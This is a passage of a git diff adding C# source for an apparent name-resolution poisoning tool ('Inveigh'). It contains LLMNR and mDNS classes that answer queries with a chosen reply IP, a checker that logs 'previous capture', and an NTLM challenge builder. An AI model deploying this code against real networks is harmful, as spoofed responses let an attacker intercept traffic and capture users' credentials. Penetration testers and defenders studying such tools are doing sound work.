+ this.Header = new LLMNRHeader(data);
+ this.Question = new LLMNRQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, string replyIP, string replyIPv6)
+ {
+
+ if (string.Equals(this.Question.Type, "AAAA") && !String.IsNullOrEmpty(replyIPv6))
+ {
+ replyIP = replyIPv6;
+ }
+
+ byte[] rdata = IPAddress.Parse(replyIP).GetAddressBytes();
+
+ this.Header = new LLMNRHeader
+ {
+ ID = this.Header.ID,
+ QR = true,
+ Opcode = "0000",
+ C = false,
+ TC = false,
+ T = false,
+ Z = "0000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Resource = new LLMNRResource
+ {
+ Name = this.Question.QName,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = (ushort)rdata.Length,
+ RData = rdata
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs
new file mode 100644
index 0000000..7c8fd9e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs
@@ -0,0 +1,53 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Quiddity.DNS;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRQuestion : DNSQuestion
+ {
+ public LLMNRQuestion()
+ {
+
+ }
+
+ public LLMNRQuestion(byte[] data)
+ {
+ ReadBytes(data, 12);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRResource.cs b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRResource.cs
new file mode 100644
index 0000000..e4f090e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRResource.cs
@@ -0,0 +1,74 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+using Quiddity.DNS;
+using Quiddity.Support;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRResource : DNSResource
+ {
+ public byte[] GetBytes(LLMNRQuestion llmnrQuestion, uint TTL, string responseData, byte[] id)
+ {
+ byte[] rdata = IPAddress.Parse(responseData).GetAddressBytes();
+
+ LLMNRHeader responseHeader = new LLMNRHeader
+ {
+ ID = id,
+ QR = true,
+ Opcode = "0000",
+ C = false,
+ TC = false,
+ T = false,
+ Z = "0000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Name = llmnrQuestion.QName;
+ this.Type = llmnrQuestion.QType;
+ this.Class = llmnrQuestion.QClass;
+ this.TTL = TTL;
+ this.RDLength = (ushort)rdata.Length;
+ this.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), llmnrQuestion.GetBytes(), this.GetBytes());
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSChecker.cs b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSChecker.cs
new file mode 100644
index 0000000..729adca
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSChecker.cs
@@ -0,0 +1,84 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using Quiddity.Support;
+using System;
+
+namespace Quiddity.MDNS
+{
+ class MDNSChecker : DNSChecker
+ {
+ public string[] Questions { get; set; }
+ public string OutputQuestionDenied { get; set; }
+
+ public MDNSChecker()
+ {
+ this.OutputReplyAllowed = "response sent";
+ this.OutputInspect = "inspect only";
+ this.OutputDisabled = "disabled";
+ this.OutputHostDenied = "host ignored";
+ this.OutputIPDenied = "IP ignored";
+ this.OutputTypeDenied = "type ignored";
+ this.OutputServiceDenied = "service ignored";
+ this.OutputRepeat = "previous capture";
+ this.OutputQuestionDenied = "question type ignored";
+ }
+
+ public virtual bool Check(string name, string question, string type, string clientIP)
+ {
+
+ if (!Check(name, type, clientIP))
+ {
+ return false;
+ }
+ else if (!QuestionIsAllowed(question))
+ {
+ this.OutputMessage = this.OutputQuestionDenied;
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool QuestionIsAllowed(string question)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Questions) && !Array.Exists(this.Questions, element => element == question.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSHeader.cs
new file mode 100644
index 0000000..2647e59
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSHeader.cs
@@ -0,0 +1,124 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Quiddity.DNS;
+
+namespace Quiddity.MDNS
+{
+ class MDNSHeader : DNSHeader
+ {
+ public bool AD { get; set; } // 1 bit
+ public bool CD { get; set; } // 1 bit
+
+ public MDNSHeader()
+ {
+
+ }
+
+ public MDNSHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ protected override void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (string.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.QR = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (string.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.AA = true;
+ }
+
+ if (string.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (string.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RD = true;
+ }
+
+ if (string.Equals(flags.Substring(8, 1), "1"))
+ {
+ this.RA = true;
+ }
+
+ this.Z = flags.Substring(9, 1);
+
+ if (string.Equals(flags.Substring(10, 1), "1"))
+ {
+ this.AD = true;
+ }
+
+ if (string.Equals(flags.Substring(11, 1), "1"))
+ {
+ this.CD = true;
+ }
+
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected override void WriteFlags()
+ {
+ string flags = this.QR ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.AA ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.RD ? "1" : "0";
+ flags += this.RA ? "1" : "0";
+ flags += this.Z;
+ flags += this.AD ? "1" : "0";
+ flags += this.CD ? "1" : "0";
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSPacket.cs b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSPacket.cs
new file mode 100644
index 0000000..003a629
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSPacket.cs
@@ -0,0 +1,99 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.MDNS
+{
+ class MDNSPacket
+ {
+ public MDNSHeader Header { get; set; }
+ public MDNSQuestion Question { get; set; }
+ public MDNSResource Resource { get; set; }
+ public MDNSPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public MDNSPacket ReadBytes(byte[] data)
+ {
+ this.Header = new MDNSHeader(data);
+ this.Question = new MDNSQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, string replyIP, string replyIPv6)
+ {
+
+ if (string.Equals(this.Question.Type, "AAAA") && !String.IsNullOrEmpty(replyIPv6))
+ {
+ replyIP = replyIPv6;
+ }
+
+ byte[] rdata = IPAddress.Parse(replyIP).GetAddressBytes();
+
+ this.Header = new MDNSHeader
+ {
+ ID = this.Header.ID,
+ QR = true,
+ Opcode = "0000",
+ AA = true,
+ TC = false,
+ RD = false,
+ RA = false,
+ Z = "0",
+ AD = false,
+ CD = false,
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Resource = new MDNSResource
+ {
+ Name = this.Question.QName,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = (ushort)rdata.Length,
+ RData = rdata
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSQuestion.cs b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSQuestion.cs
new file mode 100644
index 0000000..e3b224a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSQuestion.cs
@@ -0,0 +1,63 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+
+namespace Quiddity.MDNS
+{
+ class MDNSQuestion : DNSQuestion
+ {
+ public string QuestionType { get; set; }
+
+ public MDNSQuestion()
+ {
+
+ }
+
+ public MDNSQuestion(byte[] data)
+ {
+ ReadBytes(data, 12);
+ string qclass = Convert.ToString(BitConverter.ToUInt16(this.QClass, 0), 2).PadLeft(16, '0');
+
+ if (qclass.StartsWith("1"))
+ {
+ this.QuestionType = "QU";
+ }
+ else
+ {
+ this.QuestionType = "QM";
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSResource.cs b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSResource.cs
new file mode 100644
index 0000000..c24079a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSResource.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+
+namespace Quiddity.MDNS
+{
+ class MDNSResource : DNSResource
+ {
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMChallenge.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMChallenge.cs
new file mode 100644
index 0000000..d0ec6f9
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMChallenge.cs
@@ -0,0 +1,275 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Text;
+using System.IO;
+using Quiddity.Support;
+using Quiddity.SPNEGO;
+
+namespace Quiddity.NTLM
+{
+ class NTLMChallenge
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786
+ public byte[] Signature { get; set; }
+ public uint MessageType { get; set; }
+ public ushort TargetNameLen { get; set; }
+ public ushort TargetNameMaxLen { get; set; }
+ public uint TargetNameBufferOffset { get; set; }
+ public byte[] NegotiateFlags { get; set; }
+ public byte[] ServerChallenge { get; set; }
+ public UInt64 Reserved { get; set; }
+ public ushort TargetInfoLen { get; set; }
+ public ushort TargetInfoMaxLen { get; set; }
+ public uint TargetInfoBufferOffset { get; set; }
+ public byte[] Version { get; set; }
+ public byte[] Payload { get; set; }
+
+ public NTLMChallenge()
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 2;
+ this.TargetNameLen = 0;
+ this.TargetNameMaxLen = 0;
+ this.TargetNameBufferOffset = 56;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.ServerChallenge = new byte[16];
+ this.Reserved = 0;
+ this.TargetInfoLen = 0;
+ this.TargetInfoMaxLen = 0;
+ this.TargetInfoBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[0];
+ }
+
+ public NTLMChallenge(byte[] data)
+ {
+ string signature = Encoding.UTF8.GetString(data);
+
+ if (signature.StartsWith("NTLMSSP"))
+ {
+ ReadBytes(data, 0);
+ }
+ else
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ this.ReadBytes(token.ResponseToken, 0);
+ }
+
+ }
+
+ public NTLMChallenge(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public NTLMChallenge(byte[] data, bool decode)
+ {
+
+ if (decode)
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ ReadBytes(token.ResponseToken, 0);
+ }
+ else
+ {
+ ReadBytes(data, 0);
+ }
+
+ }
+
+ public NTLMChallenge(string challenge, string netBIOSDomainName, string netBIOSComputerName, string dnsDomainName, string dnsComputerName, string dnsTreeName)
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 2;
+ this.TargetNameLen = 0;
+ this.TargetNameMaxLen = 0;
+ this.TargetNameBufferOffset = 56;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.ServerChallenge = new byte[16];
+ this.Reserved = 0;
+ this.TargetInfoLen = 0;
+ this.TargetInfoMaxLen = 0;
+ this.TargetInfoBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[0];
+ this.ServerChallenge = this.Challenge(challenge);
+ byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime());
+ NTLMAVPair ntlmAVPair = new NTLMAVPair();
+ this.Payload = ntlmAVPair.GetBytes(netBIOSDomainName, netBIOSComputerName, dnsDomainName, dnsComputerName, dnsTreeName, timestamp);
+ }
+
+ public NTLMChallenge(string challenge, string netBIOSDomainName, string netBIOSComputerName, string dnsDomainName, string dnsComputerName, string dnsTreeName, byte[] timestamp)
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 2;
+ this.TargetNameLen = 0;
+ this.TargetNameMaxLen = 0;
+ this.TargetNameBufferOffset = 56;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.ServerChallenge = new byte[16];
+ this.Reserved = 0;
+ this.TargetInfoLen = 0;
+ this.TargetInfoMaxLen = 0;
+ this.TargetInfoBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[0];
+ this.ServerChallenge = this.Challenge(challenge);
+ NTLMAVPair ntlmAVPair = new NTLMAVPair();
+ this.Payload = ntlmAVPair.GetBytes(netBIOSDomainName, netBIOSComputerName, dnsDomainName, dnsComputerName, dnsTreeName, timestamp);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Signature = packetReader.ReadBytes(8);
+ this.MessageType = packetReader.ReadUInt32();
+ this.TargetNameLen = packetReader.ReadUInt16();
+ this.TargetNameMaxLen = packetReader.ReadUInt16();
+ this.TargetNameBufferOffset = packetReader.ReadUInt32();
+ this.NegotiateFlags = packetReader.ReadBytes(4);
+ this.ServerChallenge = packetReader.ReadBytes(8);
+ this.Reserved = packetReader.ReadUInt64();
+ this.TargetInfoLen = packetReader.ReadUInt16();
+ this.TargetInfoMaxLen = packetReader.ReadUInt16();
+ this.TargetInfoBufferOffset = packetReader.ReadUInt32();
+ this.Version = packetReader.ReadBytes(8);
+ this.Payload = packetReader.ReadBytes(16);
+ }
+
+ }
+
+ public byte[] GetBytes(string targetName)
+ {
+ byte[] targetNameData = Encoding.Unicode.GetBytes(targetName);
+ this.TargetNameLen = (ushort)targetNameData.Length;
+ this.TargetNameMaxLen = this.TargetNameLen;
+ this.TargetInfoLen = (ushort)this.Payload.Length;
+ this.TargetInfoMaxLen = this.TargetInfoLen;
+ this.TargetInfoBufferOffset = (ushort)(targetNameData.Length + 56);
+
